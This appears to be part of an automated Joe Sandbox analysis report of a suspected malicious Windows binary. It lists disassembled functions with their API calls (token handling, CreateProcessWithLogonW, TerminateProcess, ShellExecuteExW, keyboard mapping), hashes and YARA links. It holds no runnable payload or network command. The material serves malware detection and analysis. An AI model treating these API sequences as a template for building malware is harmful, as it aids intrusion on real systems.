Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize_wcslen
String ID: .lnk
API String ID: 3172280962-24824748
Opcode ID: 314d176672378a50018f7c7ac359a8becc91ba90be8e7e31dcf8cc655ac9600f
Instruction ID: dc236cd8a14a4db04f98b2d69bc246ab6a6be530edbcf1a1540983fd85fdf73b
Opcode Fuzzy Hash: 314d176672378a50018f7c7ac359a8becc91ba90be8e7e31dcf8cc655ac9600f
Instruction Fuzzy Hash: 7ED172B06087109FC714DF24D480A6ABBE1FF89714F54885EF88A9B361DB35EC45CB96

Function 0041175D Relevance: 9.1, APIs: 6, Instructions: 68memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00410FB4: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00410FCA
Part of subcall function 00410FB4: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00410FD6
Part of subcall function 00410FB4: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00410FE5
Part of subcall function 00410FB4: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00410FEC
Part of subcall function 00410FB4: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00411002

GetLengthSid.ADVAPI32(?,00000000,00411335), ref: 004117AE
GetProcessHeap.KERNEL32(00000008,00000000), ref: 004117BA
HeapAlloc.KERNEL32(00000000), ref: 004117C1
CopySid.ADVAPI32(00000000,00000000,?), ref: 004117DA
GetProcessHeap.KERNEL32(00000000,00000000,00411335), ref: 004117EE
HeapFree.KERNEL32(00000000), ref: 004117F5

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: 36754bf45ee7de923491c7c43c24ff12ea6689ca261c338dd9468b6722deb9cd
Instruction ID: 00667f35a4879e32f84b5dbc5695e94efed15819ff4861cc4144d9e04f1f3e78
Opcode Fuzzy Hash: 36754bf45ee7de923491c7c43c24ff12ea6689ca261c338dd9468b6722deb9cd
Instruction Fuzzy Hash: 4511BE35602205FFDB109FA4CC89BEFBBA9EB42355F14402AF55197360C739A980CB68

Function 004114CE Relevance: 9.1, APIs: 6, Instructions: 64processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 004114FF
OpenProcessToken.ADVAPI32(00000000), ref: 00411506
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00411515
CloseHandle.KERNEL32(00000004), ref: 00411520
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 0041154F
DestroyEnvironmentBlock.USERENV(00000000), ref: 00411563

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: 0fa1aef873e549065c72457379e1a1eb5bd97b01e1fbf942396f049fd9a1a888
Instruction ID: 308e2d14b26533bac57790a3e73961308a84fab9dc0a22ea2f94f313ff7f3f89
Opcode Fuzzy Hash: 0fa1aef873e549065c72457379e1a1eb5bd97b01e1fbf942396f049fd9a1a888
Instruction Fuzzy Hash: F8115C76601209ABDF118F94DD89BDE7BA9EF49744F084025FA05A2160C3798E60DB65

Function 003D3382 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,003D3379,003D2FE5), ref: 003D3390
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 003D339E
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 003D33B7
SetLastError.KERNEL32(00000000,?,003D3379,003D2FE5), ref: 003D3409

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: e028138152832bcdd91a16d79ead21783699975d4ef22484a705dec24b16ae31
Instruction ID: 8906cdbf2f5bb5fd0d8190c89f263b46c7cf4702898287ad2d9f2de1bb8af483
Opcode Fuzzy Hash: e028138152832bcdd91a16d79ead21783699975d4ef22484a705dec24b16ae31
Instruction Fuzzy Hash: 35012437209311BEA7272BB57EC55672A98EB05379320023FF410893F0EF218D11918A

Function 003E2D74 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,003E5686,003F3CD6,?,00000000,?,003E5B6A,?,?,?,?,?,003DE6D1,?,00478A48), ref: 003E2D78
_free.LIBCMT ref: 003E2DAB
_free.LIBCMT ref: 003E2DD3
SetLastError.KERNEL32(00000000,?,?,?,?,003DE6D1,?,00478A48,00000010,003B4F4A,?,?,00000000,003F3CD6), ref: 003E2DE0
SetLastError.KERNEL32(00000000,?,?,?,?,003DE6D1,?,00478A48,00000010,003B4F4A,?,?,00000000,003F3CD6), ref: 003E2DEC
_abort.LIBCMT ref: 003E2DF2

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 2797b72c7f7fcf0ea19e0f76a7c44d80e25b2977def84a99a760c4acbe4a0df3
Instruction ID: 75bedf7d623f8e823d146bd6071e2f5938c6d4eddba49ff68de432843b2f49a7
Opcode Fuzzy Hash: 2797b72c7f7fcf0ea19e0f76a7c44d80e25b2977def84a99a760c4acbe4a0df3
Instruction Fuzzy Hash: 42F0F4369456B067C253273BAC0AA1B265DABC27A0F364729FA34D61D2EF3488014160

Function 00448A24 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 003C9639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 003C9693
Part of subcall function 003C9639: SelectObject.GDI32(?,00000000), ref: 003C96A2
Part of subcall function 003C9639: BeginPath.GDI32(?), ref: 003C96B9
Part of subcall function 003C9639: SelectObject.GDI32(?,00000000), ref: 003C96E2

MoveToEx.GDI32(?,-00000002,00000000,00000000), ref: 00448A4E
LineTo.GDI32(?,00000003,00000000), ref: 00448A62
MoveToEx.GDI32(?,00000000,-00000002,00000000), ref: 00448A70
LineTo.GDI32(?,00000000,00000003), ref: 00448A80
EndPath.GDI32(?), ref: 00448A90
StrokePath.GDI32(?), ref: 00448AA0

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: c977dcee244a151e759a8a04300503c9d4020d068c9947439f662901a3a8ca4e
Instruction ID: 99d770fefd0bef648a33b8b3159be6a58e4f6f08db6d11da737e9b5fb54dc31c
Opcode Fuzzy Hash: c977dcee244a151e759a8a04300503c9d4020d068c9947439f662901a3a8ca4e
Instruction Fuzzy Hash: D1110576001108FFEB129F90DC88EAA7F6CEB09350F048026FA199A1A1C7719D55DFA4

Function 004151FD Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00415218
GetDeviceCaps.GDI32(00000000,00000058), ref: 00415229
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00415230
ReleaseDC.USER32(00000000,00000000), ref: 00415238
MulDiv.KERNEL32(000009EC,?,00000000), ref: 0041524F
MulDiv.KERNEL32(000009EC,00000001,?), ref: 00415261

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 43eceead7df096fe4026a51bdb880d18dd782d3b068518e65de9c2a7b7ba3351
Instruction ID: a7abb2f93cee44d5ce13d4cf037f519c0a441417a26fb570e69ff37a6d130726
Opcode Fuzzy Hash: 43eceead7df096fe4026a51bdb880d18dd782d3b068518e65de9c2a7b7ba3351
Instruction Fuzzy Hash: D4018475A01704BBEB105BE59C49A8EBF78EB45351F044076FA04A7290D6709800CFA4

Function 003B1BC3 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 003B1BF4
MapVirtualKeyW.USER32(00000010,00000000), ref: 003B1BFC
MapVirtualKeyW.USER32(000000A0,00000000), ref: 003B1C07
MapVirtualKeyW.USER32(000000A1,00000000), ref: 003B1C12
MapVirtualKeyW.USER32(00000011,00000000), ref: 003B1C1A
MapVirtualKeyW.USER32(00000012,00000000), ref: 003B1C22

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: fed131aaf644fec274fe2e477ee9e22a339aea59fab0005347a4d93403274fb4
Instruction ID: c88bae3eef950f9c731f84fc1979ecaf30e65433b98c80b3d6d93a38d1c78ce0
Opcode Fuzzy Hash: fed131aaf644fec274fe2e477ee9e22a339aea59fab0005347a4d93403274fb4
Instruction Fuzzy Hash: CD0167B0902B5ABDE3008F6A8C85B52FFA8FF19354F04411BA15C4BA42C7F5A864CFE5

Function 0041EB20 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 0041EB30
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 0041EB46
GetWindowThreadProcessId.USER32(?,?), ref: 0041EB55
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0041EB64
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0041EB6E
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0041EB75

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 609fd7c1ec0dd012a85971889b8fbfb3773a395bf93a4ee6aa31a165857ec7a8
Instruction ID: 58f761503aff7063eca7e144b796ee2c0d13d400d96b63078220367da1c16914
Opcode Fuzzy Hash: 609fd7c1ec0dd012a85971889b8fbfb3773a395bf93a4ee6aa31a165857ec7a8
Instruction Fuzzy Hash: 09F0B47A242158BBE7205B529C4DEEF3E7CEFCBB11F044168FA01D1090D7A01A01CAB8

Function 00407439 Relevance: 9.0, APIs: 6, Instructions: 37windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?), ref: 00407452
SendMessageW.USER32(?,00001328,00000000,?), ref: 00407469
GetWindowDC.USER32(?), ref: 00407475
GetPixel.GDI32(00000000,?,?), ref: 00407484
ReleaseDC.USER32(?,00000000), ref: 00407496
GetSysColor.USER32(00000005), ref: 004074B0

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ClientColorMessagePixelRectReleaseSendWindow
String ID:
API String ID: 272304278-0
Opcode ID: 5cca64582a7339f39bb6df878f1fcbd0e65ef0fa152b06e9645733a1848e73a6
Instruction ID: 83653cd79341de5d15f911bebbbde1397db223ee9fffd4116fa19ef52651a35b
Opcode Fuzzy Hash: 5cca64582a7339f39bb6df878f1fcbd0e65ef0fa152b06e9645733a1848e73a6
Instruction Fuzzy Hash: E701DB31800214FFEB915F60DC49BAE7BB5FB05311F194075F915A21A1CF302E02AB19

Function 00411874 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 0041187F
UnloadUserProfile.USERENV(?,?), ref: 0041188B
CloseHandle.KERNEL32(?), ref: 00411894
CloseHandle.KERNEL32(?), ref: 0041189C
GetProcessHeap.KERNEL32(00000000,?), ref: 004118A5
HeapFree.KERNEL32(00000000), ref: 004118AC

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: cb437b003b27bc660a7f53b61e6778ef2c8fcf092fd9f906965bf68d77137b37
Instruction ID: cb05e75eb9119d1d17cd342e340685dd90bf7b85590a57da7b5a5404979aa149
Opcode Fuzzy Hash: cb437b003b27bc660a7f53b61e6778ef2c8fcf092fd9f906965bf68d77137b37
Instruction Fuzzy Hash: 56E0E53A206101BBDB416FA1ED4C90ABF39FF4AB22B148230F22581070CB329420DF58

Function 003BBBE0 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 232COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 003BBEB3

Strings

D%H, xrefs: 003BBCA2
D%HD%H, xrefs: 003BBCA5
D%H, xrefs: 003BBDED, 003BBD91, 003BBD1B
D%H, xrefs: 003BBE9A

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Init_thread_footer
String ID: D%H$D%H$D%H$D%HD%H
API String ID: 1385522511-521877798
Opcode ID: 7f6ba42612004d9cc348312d1d9b0d1f2a4e41285dd0af78e0e51ff95ddf1202
Instruction ID: 361af125778d537fd373978b63502fa5375481bf6d1cf026ce6fdbdc370dcebf
Opcode Fuzzy Hash: 7f6ba42612004d9cc348312d1d9b0d1f2a4e41285dd0af78e0e51ff95ddf1202
Instruction Fuzzy Hash: 97915B75A0020ADFCB19CF58C0906E9FBF5FF58318B25456EDA41ABB50DBB1E981CB90

Function 00437B7E Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 003D0242: EnterCriticalSection.KERNEL32(0048070C,00481884,?,?,003C198B,00482518,?,?,?,003B12F9,00000000), ref: 003D024D
Part of subcall function 003D0242: LeaveCriticalSection.KERNEL32(0048070C,?,003C198B,00482518,?,?,?,003B12F9,00000000), ref: 003D028A

Part of subcall function 003B9CB3: _wcslen.LIBCMT ref: 003B9CBD

Part of subcall function 003D00A3: __onexit.LIBCMT ref: 003D00A9

__Init_thread_footer.LIBCMT ref: 00437BFB

Part of subcall function 003D01F8: EnterCriticalSection.KERNEL32(0048070C,?,?,003C8747,00482514), ref: 003D0202
Part of subcall function 003D01F8: LeaveCriticalSection.KERNEL32(0048070C,?,003C8747,00482514), ref: 003D0235

Strings

5, xrefs: 00437C78
+T@, xrefs: 00437E2E
Variable must be of type 'Object'., xrefs: 00437C3A
G, xrefs: 00437C7F

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer__onexit_wcslen
String ID: +T@$5$G$Variable must be of type 'Object'.
API String ID: 535116098-2858914595
Opcode ID: 69b1a5b6959ce13a6969fae6078a878300b73e942efcbe4e81e99f838e929293
Instruction ID: 902af46b9121949eed9c398130f1d71a605fb78b89198bb4cc7c1f23af4fbb67
Opcode Fuzzy Hash: 69b1a5b6959ce13a6969fae6078a878300b73e942efcbe4e81e99f838e929293
Instruction Fuzzy Hash: 1C919DB0604209EFCB24EF54D8919AEB7B1FF49304F10905EF8469B392DB79AE41CB59

Function 0041C5D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 191windowCOMMON

Download Yara Rule

APIs

Part of subcall function 003B7620: _wcslen.LIBCMT ref: 003B7625

GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0041C6EE
_wcslen.LIBCMT ref: 0041C735
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0041C79C
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 0041C7CA

Strings

0, xrefs: 0041C6AF

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ItemMenu$Info_wcslen$Default
String ID: 0
API String ID: 1227352736-4108050209
Opcode ID: 77bc5f700366e9fd82201facfea3b8c3877823b6962d26608561fb6f04e35291
Instruction ID: 51229b2d72e800d898b552d34889c53daa21c69eb13f621ccb93ec6905a23e16
Opcode Fuzzy Hash: 77bc5f700366e9fd82201facfea3b8c3877823b6962d26608561fb6f04e35291
Instruction Fuzzy Hash: A551C1716843029BD711AF28CCC5BAF77E8AB45314F04092FF5A5D62E0DBB8D885CB5A

Function 0043AD64 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(0000003C), ref: 0043AEA3

Part of subcall function 003B7620: _wcslen.LIBCMT ref: 003B7625

GetProcessId.KERNEL32(00000000), ref: 0043AF38
CloseHandle.KERNEL32(00000000), ref: 0043AF67

Strings

<, xrefs: 0043AE6B
@, xrefs: 0043AE72

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: CloseExecuteHandleProcessShell_wcslen
String ID: <$@
API String ID: 146682121-1426351568
Opcode ID: 925e5b41a7019d8a4087d337f689f9d0a21d6088baa902c5f36b8f63244741ef
Instruction ID: 378bcf1c24b48a67cdd8ad5c5f9babb29e594164988503416fdf664e5d056f8c
Opcode Fuzzy Hash: 925e5b41a7019d8a4087d337f689f9d0a21d6088baa902c5f36b8f63244741ef
Instruction Fuzzy Hash: 28716774A00614DFCB15DF64C485A9EBBF0EF09304F04849AE856AB7A2CB78ED45CB95

Function 00446278 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 004462E2
ScreenToClient.USER32(?,?), ref: 00446315
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,?,?,?), ref: 00446382

Strings

8Y, xrefs: 004462B1, 004463AC

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID: 8Y
API String ID: 3880355969-2504371881
Opcode ID: aa1ef24e7aa585d1ccb97411092081d7c49eced53798cbf4b7d9fd3d588ae0c6
Instruction ID: 4ff0b8de0cbef4d69541a0b0edf1378162d01bbe6060deb65784b3dfeb54b56d
Opcode Fuzzy Hash: aa1ef24e7aa585d1ccb97411092081d7c49eced53798cbf4b7d9fd3d588ae0c6
Instruction Fuzzy Hash: 49515A74A00249AFEF10DF68D8809AE7BB5FB46364F11826AF8159B3A0D734ED81CB55

Function 0041719E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00417206
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 0041723C
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 0041724D
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 004172CF

Strings

DllGetClassObject, xrefs: 00417242

Memory Dump Source

